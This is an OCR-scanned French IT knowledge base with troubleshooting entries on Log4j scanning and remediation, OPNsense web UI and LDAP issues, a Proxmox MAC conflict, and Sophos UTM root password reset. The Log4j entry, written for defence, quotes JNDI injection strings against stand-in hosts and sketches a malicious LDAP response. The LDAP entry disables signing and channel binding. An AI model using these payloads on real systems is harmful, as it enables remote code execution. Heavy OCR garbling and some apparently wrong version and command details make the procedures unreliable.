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KB - Cyber - Failles & correctifs

KB-Sécurité-Faille - LOG4] :
scan et remeédiation

Symptoéme(s)

Pour voir si la faille a été exploitée, parcourir les logs java et chercher les lignes contenant les

entrées suivantes :

{jndi:ldap://example.com:1234/callback}

Probleme

La faille Log4) touche les version du pluggin 2.16.x

Elle permet a un hacker d’envoyer des jeux d’instruction a travers le service de logging et
d’injecter des fichiers / exécuter du code sur la machine.



The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
oge
= “” ‘e®?
GET /test HTTP/1.1 HTTP ${indi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User—Agent 5 S{jnd:i. :1ddp: Hevil. xufx] Q DISABLE JND| LOOKUPS

€ BLOCK WITH WAF
€ PATCH LOG4

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victimxa implementation Idap://evil xa
@
 —

P . o > B o - EA

_ - === € DISABLE LOG4) ]

| o
€ DISABLE (5)

REMOTE n
CODEBASES J, ';
v |

public class Malicicus implements Serializable { dn:
javaClassMame: Malicious

javaCodebase: http://evil.xa
javaSerializedData: <...=

static |
=malicious Java code>

}
The LDAP server responds with directory

information that contains the malicious
Java class

JAVA deserializes {or downloads) the
malicious Java class and executes it.

@ ® @ CovCERTch

Solution

Sur les serveurs vulnérables, télécharger I'outils log4j-scaner correspodant a I’OS du serveur.

Télécharger I'outil : logpresso / CVE-2021-44228-Scanner

Scanner I'ordinateur avec la commande :

log4j-scan --all-drives

ram Files

NativeIma
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ies and 96127

Si des failles sont trouvées, deux solutions :

e Utiliser la commande log4j-scan --fix ( cela aura pour effet de désactiver les classes
potentiellement vulnérables)
e mettre a jour les pluggins java au dessus de la version 2.17.x

Sources

Une Vulnérabilité Affectant Plusieurs Versions De Log4j Permet Un Exploit De Type RCE

Panther’s guide to Log4j exploitation prevention and detection

https://github.com/logpresso/CVE-2021-44228-Scanner

How to check if our system has been exploited by log4j vulnerability?
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KB - Cyber - OPNsense

KB-OPNSense - Réinitialiser
I'acces a la webUI

‘ Applicable a : OPNsense > 9.*

Symptoéme(s)

Suite a un changement dans le paramétrage de l'interface web d'administration (certificats, port,
etc...).

Lors de la connexion a la webUl, impossible d'afficher la page.

Probleme

Une erreur ou mauvaise application de la configuration empéche le service web de redémarrer
correctement.

Solution

Prérequis : un acces au shell ou en SSH.



Se connecter au shell ou ssh.

Entrer la commande :

systemctl webui restart renew

Cela va forcer une réinitialisation du paramétrage de la webUI est remettre un certifcat autosigné.

Sources

WebGui access reset — OPNsense documentation



https://docs.opnsense.org/troubleshooting/webgui.html

KB - Cyber - OPNsense

KB-OPNsense - Bind LDAP
Active directory 2025

‘ Applicable a : OPNsense + Active directory (Windows Server 2025)

Symptoéme(s)

Impossible d'établir une connexion LDAP ou LDAPS depuis I'OPNsense.

Please select which containers to Authenticate against:

Mo results. Check General log for details

Date Severity Process Line
2026-08-31T18:57:17 Error opnsense LDAP bind error [; Can't contact LDAP server]

Probleme

Les nouvelles politiques de sécurités sur Windows Server 2025 sont trop restrictives et empéchent
les clients linux / BSD de se connecter autrement qu'en LDAPS en ayant préalablement importé le
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certificat de la CA dans les trusts.

Solutions

1. Terminer la configuration LDAPS et importer le certificat de la CA dans 'trust -->
certificates'
2. Appliquer la solution de contournement ci-dessous :

Sur le serveur Active Directory, modifier la GPO 'Default Domain Policy'.

=Computer Configuration

====Policies

=======Windows Settings

==========Security Settings

=============|ocal Policies

================Security Options

===================Domain controller: LDAP server channel binding token
requirements: "When Supported"

===================Domain controller: LDAP server signing requirements: "None"
===================Domain controller: LDAP server Enforce signing requirements:

"Disabled"

===================Network security: LDAP client encryption requirements: "Negotiate
Sealing"

===================Network security: LDAP client signing requirements: "Negotiate
Signing"

Sources




Unable to connecto to LDAP (Windows Server 2025)

LDAP Authentication with Active Directory Windows Server 2025, bind fails | Netgate Forum



https://forum.opnsense.org/index.php?topic=45006.0
https://forum.netgate.com/topic/187453/ldap-authentication-with-active-directory-windows-server-2025-bind-fails/3

KB - Cyber - OPNsense

KB - OPNSense - Interface
web injoighable sur proxmox

Applicable a : OPNsense / PFsense toutes version

Symptoéme(s)

Lors de I'utilisation du SDN sur proxmox ( zones et vlan ), Impossible d'accéder a l'interface web
d'administration de I'OPNsense ou PFsense.

L'équipement réponds au Ping,

ith 32 bytes of data:
4: bytes=32 time<lms TTL=64
bytes=32 time<lms TTL=64

Le port réponds ouvert au test de connexion.
PS C:\Users\Administrator> Test-netconnection

Computerhame

RemotePort -
InterfaceAlias : Ethernet
SourceAddress : 172.20.8.1
TcpTe ucceeded : True

Internet est accessible.
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Apropos  Google Store

Google
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Recherche Google Jiai de la chance

Google disponible en - English

Mais la page d'administration est en timeout.

®,

Hmmm... can't reach this page

172.20.0.254 took too long to respond

Try:
= Checking the connection

* (Checking the proxy and the firewall

ERR_TIMED_OUT

Probleme

Le probleme n'est pas entierement compris a ce jour.
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Information : Le probléme se situe toutefois c6té client et non c6té OPNsense

I'hypothese retenue est la suivante :

Afin de gérer la couche virtuelle de son réseau, le proxmox définit des plages d'adresses MAC pour
ses bridges :

Exemples (vmbro0) :

virtio=BC:24:11:E3:A4:FB virtio=BC:24:11:.C8:C9: 77 virtio=BC:24:11:81:AC:FD

Dans le cas de |'utilisation du SDN, Une réservation de plage est faite et attribuée au vswitch.

L'adresse MAC se trouve donc en dehors de la plage connue, ce qui doit créer un conflit sur
I'OPNsense.

Si cela ne pose pas directement de probleme sur le plan réseau (mise a jour des chache ARP), ce
qui explique que le dysfonctionnement ne soit pas perceptible de la couche 1 a 3, il doit y avoir une
vérification de sécurité sur l'interface web qui pose probleme et détecte une incohérence au niveau
de I'adresse MAC.

Solution

Prérequis : Acces a I'hyperviseur avec des droits suffisants sur le SDN.

Se connecter sur l'interface web du proxmox. Puis sur la page 'Hardware' de la machine client
concernée par le probleme,


https://docs.labs404.fr/uploads/images/gallery/2026-09/jswimage.png
https://docs.labs404.fr/uploads/images/gallery/2026-09/O2Zimage.png
https://docs.labs404.fr/uploads/images/gallery/2026-09/Puvimage.png

= Datacenter

& Summary Add Remove Edit Disk Action Revert
B pve-och
S 101 (och-lab-2k25) >_ Console E= Memory 8.00 GiB
Ll 102 (och-lab-opn1) 3 Hardware i Processors 4 (1 sockets, 4 cores) [x86-64-v2-AES]
(2100 {och-Iab-apn01) ~ @ROEUET # BlOS OVMF (UEFI)
A fabrict (pve-och) ) L Display SPICE (qxl)
£22 Zone1 (pve-och) £+ Options
. & Machine pc-g35-10.1
22z localnetwork (pve-och) Task History
- £ SCSI Controller VirtlO SCSl single
gmlucal (pve-och} @ Monitor
%Dll}calflvm (pve-och) @ CD/DVD Drive (ide2) local iso/virtio-win-0.1.271 .iso,media=cdrom,size=7094 74K
¥ Templates Backup & Hard Disk (scsi0) local-lvm:vm-101-disk-1,iothread=1,size=32G
13 Replication = Network Device (net0) virtio=BC:24:11:1E:21:EB,bridge=z1vI1 firewall=1
%) Snapshots & EFI Disk local-lvm:vm-101-disk-0, efitype=4m ms-cert=2023 pre-enrolled-keys=1,size=4M
& TPM State local-lvm:vm-101-disk-2 size=4M,version=v2.0

U Firewall

o' Permissions

Editer les parameétres de la carte réseau, vérifier que la machine est bien sur le bon vlan :

Edit: Network Device (9]

; Bridge: Z1vl1 Model: VirtlO (paravirtualized)
1 VLAN Tag: no VLAN MAC address: ‘ BC:24:11:1E:21:EB ‘
4 Firewall:
]
] Disconnect: Rate limit (MB/s). | unlimited
MTU: Same as bridge Multiqueue:
© Help Advanced [

Sélectionne et supprimer I'adresse MAC. Celle-ci repasse en 'Auto'. Puis cliquer sur 'OK".

MAC address: auto

Cela va forcer l'interface a renouveler sa MAC address et ainsi lui en attribuer une présente dans la
plage de réservation

— Network Device (net0) virtio=BC:24:11:24:B4:E4 bridge=z1vl1 firewall=1

Suite a ce changement, l'interface web est de nouveau accessible.
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OPNsense’

Sacuring retworks macs

Username:

Password:

OPMsense (c) 2014-2026 Deciso B,

Sources

Solution trouvée par Ludwig.W - SIO2 (2026) dans le cadre du programme BUG BOUNTY.
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KB-Sophos-UTM -
Réinitialiser le mot de passe
root

‘ S'applique a : UTM asg & usg.

Symptome(s)

Impossible de se connecter a I'utm en web ou en console.

18.211.55.188
login: root
Passuword:

Login incorrect

Sopho=UTHIZ login:

Probleme

Le mot de passe Administrateur a été oublié ou est perdu.

Solution

Prérequis : Un acces direct a la console de I'UTM. Soit physique, soit virtuel.

. Réinitialiser le mot de passe root
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Arréter 'UTM.

Démarrer I'UTM et appuyer sur la touche ESCAPE pour afficher le menu suivant :

GNU GRUB wersion 0.97 (639K lower .~ 1047488K upper memory)

Sophos UTM 9.2 Beta
Sophos UTM 9.2 Beta (previou
Sophos UTM 9.;

the T and 1 keys to select which entry is highlighted.

. enter to boot the selected [ e’ to edit the
commands before booting, or 'c’ for a command-line.

Se placer sur la version actuelle de I'UTM et appuyer sur 'E' pour éditer la commande de
démarrage.

Se placer sur la chaine de démarrage commencant par ‘kernel’ et faire de nouveau ‘E' pour
I’éditer.

root (hd®,0)
kernel -sboot-wmlinuz root=rdevwsdisk-by-label- root wya=791 rootf lags=d-+
initrd bootsinitrd

Ajouter a la fin de la chaine :

init=/bin/bash
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Ling 15 supported. r the tirst word, 1A
ible command completions. FAnguwhere else TAB lists the po
anplrt1nnb of a device-filename. C

EsC at any time exits. ]

rootf lags=data=ordered splash=silent

init=sbin-bash_|

Puis faire ‘Entrée’ pour retourner a I'écran précédent et faire 'B' pour redémmarrer

[’'UTM va alors redémarrer en mode ‘rescue

SOPHOS

ace driver usbhid

B31753] ata
dh] ata
]

«d (err_mask=0x1)

hie patient (readyg=0)

s UTH 9.2 B F.2Y PQ: O ANSI: S
ILT-BiRE I 'I 1 M) @ AlSE: 5
e Foumd

logical Blocks: (Z1.49 GERZ0.9 GIE)
rlocks

emshled, read cache! enabled, doesn't support DPO or
cilall »

hiy— bahe Loront

d data mode. Dpts

dataardered

Entrer les commandes suivantes pour réinitialiser le mot de passe 'root'

passwd loginuser

passwd root
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(nome): s # passwd loginuser
Changing password for loginuser.
New Password:

Reenter New Password:

Password changed.

(nome):s # passwd root

Changing password for root.
New Password:

Reenter New Password:
Password changed.

(nome): s #

Appuyer ensuite sur “Ctri+Alt+Suppr” pour redémarrer 'UTM.

Le nouveau mot de passe devrait étre valide.

All conf iguration is dome with HebAdmin. Go to hitps:--10.211.55.100:4444
in your brouwser.

Sophos UTH

(C) Copyrights by Sophos Ltd and by others Z2000-2013.

For more copyright information look at -~d ro-license.txt
or http:rsuuwe.astaro.consdocrastaro—-license.tx

NOTE: Any modifications done by root will woid your support.
Flease use HebAdmin for any conf iguration changes.

SophosUTMIZ : rroot # _

Il. Réinitialiser le mot de passe interface web

Maintenant que I’'acces a la console est rétabli, il est possible de réinitialiser le mot de passe de
I'admin web.

Passer en mode configuration en tapant la commande :

CccC
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JophosUTHIZ : sroot # cc
Confd command-line client. Maintainer: <R

Comnected to 127.08.0.1:447Z, 31D = hkFEVunyAvPBFZEWUIKT .

fivailable modes: MAIN OBJ3 RaW WIZARD.
Type mode name to switch mode.
Typing 'help’ will always give some help.

Puis en mode ‘raw’ avec la commande :

RAW

RauW
Suitched to RAW mode.

Entrer enfin la commande de réinitialisation de mot de passe. Cela dira a I’'UTM que lors de la
prochaine connexion a lI'interface web, il faut passer en mode ‘premiere connexion’.

system password reset

Al > system_ password reset
Calling Confd function suystem password reset()

result: 1

Se connecter a l'interface d’administration WEB.

[ =N

SOPHOS @ C i

Admin paiseor selup

admin acoount passened Fou nesd 10 584 8 pasEeord Tor e inilial sysiem super-user
admin. Afer spedifying, 109 ino Tie sysiem with usemame admin

i - i
Repeat password BN Tl MEW CEETW0n

o Appiy

Sources

n/a
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